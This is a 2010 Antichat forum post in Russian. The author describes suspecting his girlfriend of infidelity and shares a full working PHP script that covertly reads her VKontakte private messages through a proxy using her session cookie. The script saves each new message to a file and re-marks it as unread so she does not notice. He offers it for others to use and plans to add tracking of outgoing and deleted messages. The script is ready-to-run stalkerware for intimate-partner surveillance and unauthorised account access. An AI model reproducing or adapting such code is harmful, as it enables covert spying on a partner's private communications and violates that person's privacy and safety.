Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
[скрипт] Слежка за девушкой/парнем, чтение их массаг |

02.03.2010, 11:50
|
|
Новичок
Регистрация: 19.11.2005
Сообщений: 4
Провел на форуме: 34314
Репутация:
11
|
|
[скрипт] Слежка за девушкой/парнем, чтение их массаг
вообщем, сталкнулся с ситуевиной, когда появилось подозрение что девушка изменяет...один раз глянул контакт её, там была массага о какой то встречи, через буквально 5-10 мин она её удалила...ну и захотелось организовать слежку за контактом любимой...был написан маленький скриптик...который через проксик подключаеться к контакту. логиниться, читает НОВЫЕ массаги, сохраняет их в файл, и ЗАНОГО помечает как "не прочитаные"
ну узнал я много о ней ))
вот собственно скрипт, пользуйтесь...
Код:
#!/usr/bin/php
<?php
### дира, куда сохранять все это овно (последний слеш обязателен)
$dir_save="/home/web/sites/kam/vk/msg/";
$cooke="remixchk=5; remixsid=*****";
function msg_read($mid,$uid){
global $cooke;
$proxy = "*****"; //прокси
$port=8888;
$fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
if (!$fp){
return "Error ";
}
$request = "GET http://vkontakte.ru/mail.php?act=show&id=".$mid." HTTP/1.0\r\n";
$request .= "Host: http://vkontakte.ru\r\n";
$request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$request .= "Accept-Encoding: none, *;q=0\r\n";
$request .= "Accept-Language: ru\r\n";
$request .= "Connection: close\r\n";
$request .= "Proxy-Connection: close\r\n";
$request .= "Cookie: ".$cooke." \r\n";
$request .= "Referer: http://vkontakte.ru/mail.php/\r\n";
$request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
#$request .= "\r\n";
#$request .= "$data\r\n";
$request .= "\r\n";
#var_dump($request);
@fwrite ($fp,$request);
$out="";
while (!feof($fp)) {
$out .= fgets($fp, 128);
}
if(ereg("Content-Type: text/html;",$out))
{
#var_dump($out);
$a=explode("Proxy-Connection: close",$out);
return $a[1];
}else{
$a=explode("Proxy-Connection: close",$out);
preg_match("/(Content-Type: )[^.]+/i",$a[0],$z);
$z=explode("\n",$z[0]);
#header(onlyChars($z[0]));
return array(trim($z[0]),trim($a[1]));
}
fclose($fp);
### end function
}
function mark_unread($mid){
global $cooke;
$proxy = "*****"; //прокси
$port=8888;
$fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
if (!$fp){
return "Error ";
}
$data="mark=new&mark_custom=&m_search=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA%20%D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D0%B9&q=&d=&out=0&st=0&filter=all&post%5B".$mid."%5D=".$mid."\r\n\r\n";
$request = "POST http://vkontakte.ru/mail.php?act=mark_msg HTTP/1.0\r\n";
$request.="Host: http://vkontakte.ru\r\n";
$request.="User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
$request.="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$request.="Accept-Language: ru\r\n";
$request.="Accept-Encoding: none, *;q=0\r\n";
$request.="Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n";
$request.="Connection: close\r\n";
$request.="Proxy-Connection: close\r\n";
$request.="Referer: http://vkontakte.ru/mail.php\r\n";
$request.="Cookie: ".$cooke."\r\n";
$request.="Pragma: no-cache\r\n";
$request.="Cache-Control: no-cache\r\n";
$request.="Content-Length: ".strlen($data)."\r\n\r\n";
$request.=$data."\r\n\r\n";
#var_dump($request);
@fwrite ($fp,$request);
$out="";
while (!feof($fp)) {
$out .= fgets($fp, 128);
#echo($out);
}
#echo($out);
fclose($fp);
#end function
}
function output_r ($host,$page,$data){
global $cooke;
if ($page==''){$page='/';}
if($host == "vkontakte.ru"){
$proxy = "*****"; //прокси
$port=8888;
}
#else{
#$proxy="192.168.5.2";
#$port=3128;
#}
$fp = fsockopen ($proxy, $port, $errno, $errstr, 30);
if (!$fp){
return "Error ";
}
$request = "GET http://$host/{$page}?{$data} HTTP/1.0\r\n";
$request .= "Host: http://$host\r\n";
$request .= "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\n";
$request .= "Accept-Encoding: none, *;q=0\r\n";
$request .= "Accept-Language: ru\r\n";
$request .= "Connection: close\r\n";
$request .= "Proxy-Connection: close\r\n";
$request .= "Cookie: ".$cooke." \r\n";
$request .= "Referer: http://$host/\r\n";
$request .= "User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10\r\n";
#$request .= "\r\n";
#$request .= "$data\r\n";
$request .= "\r\n";
#var_dump($request);
@fwrite ($fp,$request);
$out="";
while (!feof($fp)) {
$out .= fgets($fp, 128);
}
if(ereg("Content-Type: text/html;",$out))
{
#var_dump($out);
$a=explode("Proxy-Connection: close",$out);
return $a[1];
}else{
$a=explode("Proxy-Connection: close",$out);
preg_match("/(Content-Type: )[^.]+/i",$a[0],$z);
$z=explode("\n",$z[0]);
#header(onlyChars($z[0]));
return array(trim($z[0]),trim($a[1]));
}
fclose($fp);
#end function
}
##########################################################
########################################
########################
################
############ Вызов функций
include('simple_html_dom.php');
$zzz=output_r("vkontakte.ru","mail.php","id=".$_GET['id']);
$zzz=trim(iconv("CP1251","UTF-8",$zzz));
#$ar=explode("<tr class='newRow' id=",$zzz);
#var_dump($ar);
$i=0;
$text = str_get_html($zzz);
foreach ($text -> find('tr.newRow') as $temp){
$temp=explode("<div class=\"name\">",$temp);
$temp1=explode("<div class=\"date\">",$temp[1]);
##### Username/id
$un_tmp=trim(str_replace(array('<a href="','">','</div>','</a>',"/id")," ",$temp1[0]));
$un=explode("\n",$un_tmp);
$un=trim($un[0]);
$i++;
### message ID
$mid=explode("<span>",$temp1[1]);
$mid=explode("<td class=\"messageSnippet\"",$mid[0]);
$mid=trim(str_replace(array("id=\"mb","\">"),"",$mid[1]));
if(!file_exists($dir_save."in_".$mid))
{
$msg_page=trim(iconv("CP1251","UTF-8",msg_read($mid,$un)));
$msg_text = str_get_html($msg_page);
foreach ($msg_text -> find('td.messageText') as $msg_tmp){
$exp=explode("<div style=\"width: 240px; overflow: hidden;\">",$msg_tmp);
$exp=explode("</div>",$exp[1]);
$exp=trim($exp[0]);
$to_save=$un." (".$mid.") : ".$exp."\r\n";
### Сохранение говна в файл
$fsave = fopen($dir_save."in_".$mid, "w");
fwrite($fsave, $to_save);
fclose($fsave);
#end foreach
}
sleep(2);
mark_unread($mid);
#end if file exist
}
#end foreach
}
?>
для скрипта нужна библиотека simple_html_dom.php, можно найти в гугле
ну или скачать тут
_http://trac.openpolis.it/openpolis/browser/trunk/lib/simple_html_dom.php?format=txt
скрипт БЕЗ прокси не работает )...
что умеет:
Читать сообщения. сохранять в файл ( in_{$message_id} )
после помечать их как прочитаные...
также НЕ читает уже сохраненные масаги )))
скрипт не светит человека то что он онлайн
в планах: добавить логирование исходящих сообщений, добавить пометки типа сообщение из контакта было удаленно 0_о, чтобы легче было обратить внимание на нужно сообщение...
Скрипт надо гонять по крону каждую минуту....хотя самое прикольное было бы гонять каждые 30 секунд...но да ладно )
З.Ы. как запустить объеснять не буду, кому надо поймут ))
З.Ы.Ы.Претендую на звание говно-кодер месяца, за эту поделку...писал для себя. так что писал как можно быстрее, скрипт написан был за час...
З.Ы.Ы.Ы. готов принять критику по скрипту, и баг-фиксы )))
Последний раз редактировалось kam; 02.03.2010 в 11:57..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|